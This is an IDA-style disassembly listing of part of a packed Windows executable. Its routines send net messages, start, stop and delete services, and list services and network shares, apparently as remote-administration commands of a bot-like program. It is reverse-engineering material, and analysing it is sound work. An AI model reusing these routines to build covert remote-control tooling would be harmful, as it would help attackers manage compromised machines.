loc_418BCD:				; CODE XREF: sub_418B6C+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 20h
		jmp	short loc_418C2C
; ---------------------------------------------------------------------------


loc_418BF4:				; CODE XREF: sub_418B6C+57j
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43B974
		jmp	short loc_418BCD
; ---------------------------------------------------------------------------


loc_418C02:				; CODE XREF: sub_418B6C+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43B930
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 1Ch


loc_418C2C:				; CODE XREF: sub_418B6C+86j
		pop	edi
		leave
		retn
sub_418B6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C2F	proc near		; CODE XREF: sub_401AA1+5524p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4280D0	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_418C74
		cmp	[ebp+var_8C], 0
		jnz	loc_418CFE
		xor	eax, eax
		inc	eax
		cmp	[ebp+var_84], eax
		jz	locret_418CFC


loc_418C74:				; CODE XREF: sub_418C2F+27j
					; sub_418C2F+DFj
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4280C0	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4280C4	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41DED4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41DED4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41DED4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41DEB7
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_428148	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi

locret_418CFC:				; CODE XREF: sub_418C2F+3Fj
		leave
		retn
; ---------------------------------------------------------------------------


loc_418CFE:				; CODE XREF: sub_418C2F+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418D14
		cmp	[ebp+var_8C], 5Ah
		jnz	loc_418C74


loc_418D14:				; CODE XREF: sub_418C2F+D6j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_418C2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D19	proc near		; CODE XREF: sub_40111A+F7p
					; sub_40F3EE+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		call	sub_41BF52
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4286E8
		call	sub_41CE04
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418D19	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D56	proc near		; CODE XREF: sub_401AA1:loc_405F46p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418DBB
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_43B9E8[esi]
		push	edi
		push	eax
		call	sub_418DDD
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418D9E
		push	edi
		push	off_43B9E4[esi]
		mov	esi, offset dword_4DE348
		push	offset unk_43BAF8
		push	esi
		call	sub_41BEF6
		add	esp, 10h
		jmp	short loc_418DD8
; ---------------------------------------------------------------------------


loc_418D9E:				; CODE XREF: sub_418D56+2Aj
		push	eax
		call	sub_418E7F
		push	eax
		push	edi
		mov	esi, offset dword_4DE348
		push	offset unk_43BACC
		push	esi
		call	sub_41BEF6
		add	esp, 14h
		jmp	short loc_418DD8
; ---------------------------------------------------------------------------


loc_418DBB:				; CODE XREF: sub_418D56+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DE348
		push	off_43B9E0[eax*4]
		push	offset unk_43BAA8
		push	esi
		call	sub_41BEF6
		add	esp, 0Ch


loc_418DD8:				; CODE XREF: sub_418D56+46j
					; sub_418D56+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DDD	proc near		; CODE XREF: sub_418D56+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CE2FC	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418E04
		call	dword_428094	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418E79
; ---------------------------------------------------------------------------


loc_418E04:				; CODE XREF: sub_418DDD+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CE1E4	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418E24
		call	dword_428094	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418E71
; ---------------------------------------------------------------------------


loc_418E24:				; CODE XREF: sub_418DDD+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418E57
		cmp	eax, 3
		jz	short loc_418E48
		jle	short loc_418E6A
		cmp	eax, 6
		jg	short loc_418E6A
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CE250	; ControlService
		jmp	short loc_418E5E
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: sub_418DDD+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CE1EC	; StartServiceA
		jmp	short loc_418E5E
; ---------------------------------------------------------------------------


loc_418E57:				; CODE XREF: sub_418DDD+4Dj
		push	esi
		call	dword_4CE254	; DeleteService


loc_418E5E:				; CODE XREF: sub_418DDD+69j
					; sub_418DDD+78j
		test	eax, eax
		jnz	short loc_418E6A
		call	dword_428094	; RtlGetLastWin32Error
		mov	ebx, eax


loc_418E6A:				; CODE XREF: sub_418DDD+54j
					; sub_418DDD+59j ...
		push	esi
		call	dword_4CE200	; CloseServiceHandle


loc_418E71:				; CODE XREF: sub_418DDD+45j
		push	edi
		call	dword_4CE200	; CloseServiceHandle
		pop	esi


loc_418E79:				; CODE XREF: sub_418DDD+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418DDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E7F	proc near		; CODE XREF: sub_418D56+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418F34
		jz	loc_418F2D
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418EF7
		jz	short loc_418EED
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418EE3
		dec	ecx
		dec	ecx
		jz	short loc_418ED9
		dec	ecx
		jz	short loc_418ECF
		sub	ecx, 51h
		jz	short loc_418EC5
		sub	ecx, 24h
		jnz	loc_418FAA	; default
					; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418EC5:				; CODE XREF: sub_418E7F+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418ECF:				; CODE XREF: sub_418E7F+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418ED9:				; CODE XREF: sub_418E7F+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418EE3:				; CODE XREF: sub_418E7F+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418EED:				; CODE XREF: sub_418E7F+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418EF7:				; CODE XREF: sub_418E7F+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418F26
		dec	ecx
		jz	short loc_418F1F
		dec	ecx
		jz	short loc_418F18
		dec	ecx
		jnz	loc_418FAA	; default
					; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418F9C
; ---------------------------------------------------------------------------


loc_418F18:				; CODE XREF: sub_418E7F+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F1F:				; CODE XREF: sub_418E7F+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F26:				; CODE XREF: sub_418E7F+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F2D:				; CODE XREF: sub_418E7F+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F34:				; CODE XREF: sub_418E7F+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418FAA ; default
					; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418F97
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418FAA ; default
					; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418FEB[ecx]
		jmp	off_418FC3[ecx*4] ; switch jump


loc_418F58:				; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheSpecifiedDa ; jumptable 00418F51 case 7
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheServiceDepe ; jumptable 00418F51 case 17
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheServiceDe_0 ; jumptable 00418F51 case 10
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheServiceHasB ; jumptable 00418F51 case 0
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheSpecified_0 ; jumptable 00418F51 case 2
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F7B:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheServiceCoul ; jumptable 00418F51 case 11
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F82:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheServiceHa_0 ; jumptable 00418F51 case 14
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F89:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheRequested_1 ; jumptable 00418F51 case 3
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F90:				; CODE XREF: sub_418E7F+D2j
					; DATA XREF: .XPack0:off_418FC3o
		push	offset aTheServiceHasN ; jumptable 00418F51 case 4
		jmp	short loc_418F9C
; ---------------------------------------------------------------------------


loc_418F97:				; CODE XREF: sub_418E7F+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418F9C:				; CODE XREF: sub_418E7F+41j
					; sub_418E7F+4Bj ...
		push	offset dword_4DDC78
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	short loc_418FBD
; ---------------------------------------------------------------------------


loc_418FAA:				; CODE XREF: sub_418E7F+36j
					; sub_418E7F+89j ...
		push	eax		; default
					; jumptable 00418F51 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DDC78
		call	sub_41BEF6
		add	esp, 0Ch


loc_418FBD:				; CODE XREF: sub_418E7F+129j
		mov	eax, offset dword_4DDC78
		retn
sub_418E7F	endp

; ---------------------------------------------------------------------------
off_418FC3	dd offset loc_418F6D	; DATA XREF: sub_418E7F+D2r
		dd offset loc_418F74	; jump table for switch	statement
		dd offset loc_418F89
		dd offset loc_418F90
		dd offset loc_418F58
		dd offset loc_418F66
		dd offset loc_418F7B
		dd offset loc_418F82
		dd offset loc_418F5F
		dd offset loc_418FAA
byte_418FEB	db	0,     9,     1,     2 ; DATA XREF: sub_418E7F+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FFD	proc near		; CODE XREF: sub_401AA1+44D0p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CE2FC	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_419035:				; CODE XREF: sub_418FFD+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CE2C8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41906F
		call	dword_428094	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_419126


loc_41906F:				; CODE XREF: sub_418FFD+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41911D
		lea	esi, [ebp+var_188]


loc_419080:				; CODE XREF: sub_418FFD+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4190CC
		dec	eax
		jz	short loc_4190C5
		dec	eax
		jz	short loc_4190BE
		dec	eax
		jz	short loc_4190B7
		dec	eax
		jz	short loc_4190B0
		dec	eax
		jz	short loc_4190A9
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_4190A2
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_4190D4
; ---------------------------------------------------------------------------


loc_4190A2:				; CODE XREF: sub_418FFD+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_4190D4
; ---------------------------------------------------------------------------


loc_4190A9:				; CODE XREF: sub_418FFD+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4190D1
; ---------------------------------------------------------------------------


loc_4190B0:				; CODE XREF: sub_418FFD+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4190D1
; ---------------------------------------------------------------------------


loc_4190B7:				; CODE XREF: sub_418FFD+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4190D1
; ---------------------------------------------------------------------------


loc_4190BE:				; CODE XREF: sub_418FFD+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4190D1
; ---------------------------------------------------------------------------


loc_4190C5:				; CODE XREF: sub_418FFD+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4190D1
; ---------------------------------------------------------------------------


loc_4190CC:				; CODE XREF: sub_418FFD+87j
		push	offset aStopped	; "    Stopped"


loc_4190D1:				; CODE XREF: sub_418FFD+B1j
					; sub_418FFD+B8j ...
		lea	eax, [ebp+var_20]


loc_4190D4:				; CODE XREF: sub_418FFD+A3j
					; sub_418FFD+AAj
		push	eax
		call	sub_41BEF6
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_419080


loc_41911D:				; CODE XREF: sub_418FFD+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_419035


loc_419126:				; CODE XREF: sub_418FFD+6Cj
		push	[ebp+var_C]
		call	dword_4CE200	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418FFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41913D	proc near		; CODE XREF: sub_401AA1:loc_406031p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4191D6
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_419166
		dec	eax
		jnz	short loc_4191B6
		push	edi
		push	0
		call	sub_41930F
		pop	ecx
		pop	ecx
		jmp	short loc_4191B2
; ---------------------------------------------------------------------------


loc_419166:				; CODE XREF: sub_41913D+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4191A4
		push	24h
		push	edi
		call	sub_41C620
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4191A4
		push	57h
		pop	eax


loc_41917D:				; CODE XREF: sub_41913D+77j
		push	eax
		call	sub_419ADD
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DDF40
		push	off_43B9E0[eax*4]
		push	offset unk_43C09C
		push	esi
		call	sub_41BEF6
		add	esp, 18h
		jmp	short loc_4191F6
; ---------------------------------------------------------------------------


loc_4191A4:				; CODE XREF: sub_41913D+2Dj
					; sub_41913D+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_419263
		add	esp, 0Ch


loc_4191B2:				; CODE XREF: sub_41913D+27j
		test	eax, eax
		jnz	short loc_41917D


loc_4191B6:				; CODE XREF: sub_41913D+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DDF40
		push	off_43B9E4[eax*4]
		push	offset dword_43C080
		push	esi
		call	sub_41BEF6
		add	esp, 10h
		jmp	short loc_4191F6
; ---------------------------------------------------------------------------


loc_4191D6:				; CODE XREF: sub_41913D+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DDF40
		lea	eax, [eax+eax*2]
		push	off_43B9E0[eax*4]
		push	offset unk_43C05C
		push	esi
		call	sub_41BEF6
		add	esp, 0Ch


loc_4191F6:				; CODE XREF: sub_41913D+65j
					; sub_41913D+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41913D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191FC	proc near		; CODE XREF: sub_41A4EB+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_419209
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419209:				; CODE XREF: sub_4191FC+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42818C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DE140, 1
		mov	ebp, eax
		jnz	short loc_419246
		or	byte_4DE140, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D635
		pop	ecx
		mov	dword_4DDED8, eax


loc_419246:				; CODE XREF: sub_4191FC+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DDED8
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DDED8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4191FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419263	proc near		; CODE XREF: sub_41913D+6Dp
					; sub_41A811+18Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4192CE
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4192CE
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C620
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4192CE
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CE1FC
		pop	edi
		leave
		retn
sub_419263	endp


; =============== S U B	R O U T	I N E =======================================



sub_4192CE	proc near		; CODE XREF: sub_419263+Ap
					; sub_419263+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4192DB
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4192DB:				; CODE XREF: sub_4192CE+9j
		push	ebx
		push	esi
		mov	esi, dword_4280E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D635
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41930F	proc near		; CODE XREF: sub_41913D+20p
					; sub_41A4EB+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4192CE
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4192CE
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CE1D4
		pop	esi
		retn
sub_41930F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419332	proc near		; CODE XREF: sub_401AA1+45BCp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4192CE
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 18h


loc_41936B:				; CODE XREF: sub_419332+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CE24C
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4193CE
		cmp	ebx, 0EAh
		jz	short loc_4193CE
		push	ebx
		push	ebx
		call	sub_419ADD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_43C0E8
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 24h
		jmp	short loc_41943B
; ---------------------------------------------------------------------------


loc_4193CE:				; CODE XREF: sub_419332+5Dj
					; sub_419332+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419432
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4193DC:				; CODE XREF: sub_419332+FCj
		push	dword ptr [esi+10h]
		call	dword_4CE1F0	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_4193F3
		mov	eax, offset aNo	; "No"


loc_4193F3:				; CODE XREF: sub_419332+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41BEF6
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4193DC
		xor	esi, esi


loc_419432:				; CODE XREF: sub_419332+A2j
		push	[ebp+var_4]
		call	dword_4CE398


loc_41943B:				; CODE XREF: sub_419332+9Aj
		cmp	ebx, 0EAh
		jz	loc_41936B
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419332	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419453	proc near		; CODE XREF: sub_401AA1:loc_4060CDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4194F7
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_419495
		dec	eax
		jz	short loc_41948A
		dec	eax
		jnz	short loc_4194B0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419599
		add	esp, 14h
		jmp	short loc_4194AC
; ---------------------------------------------------------------------------


loc_41948A:				; CODE XREF: sub_419453+1Dj
		push	ebx
		push	edi
		call	sub_419578
		pop	ecx
		pop	ecx
		jmp	short loc_4194AC
; ---------------------------------------------------------------------------


loc_419495:				; CODE XREF: sub_419453+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4194A9
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_41951E
		add	esp, 0Ch
		jmp	short loc_4194AC
; ---------------------------------------------------------------------------


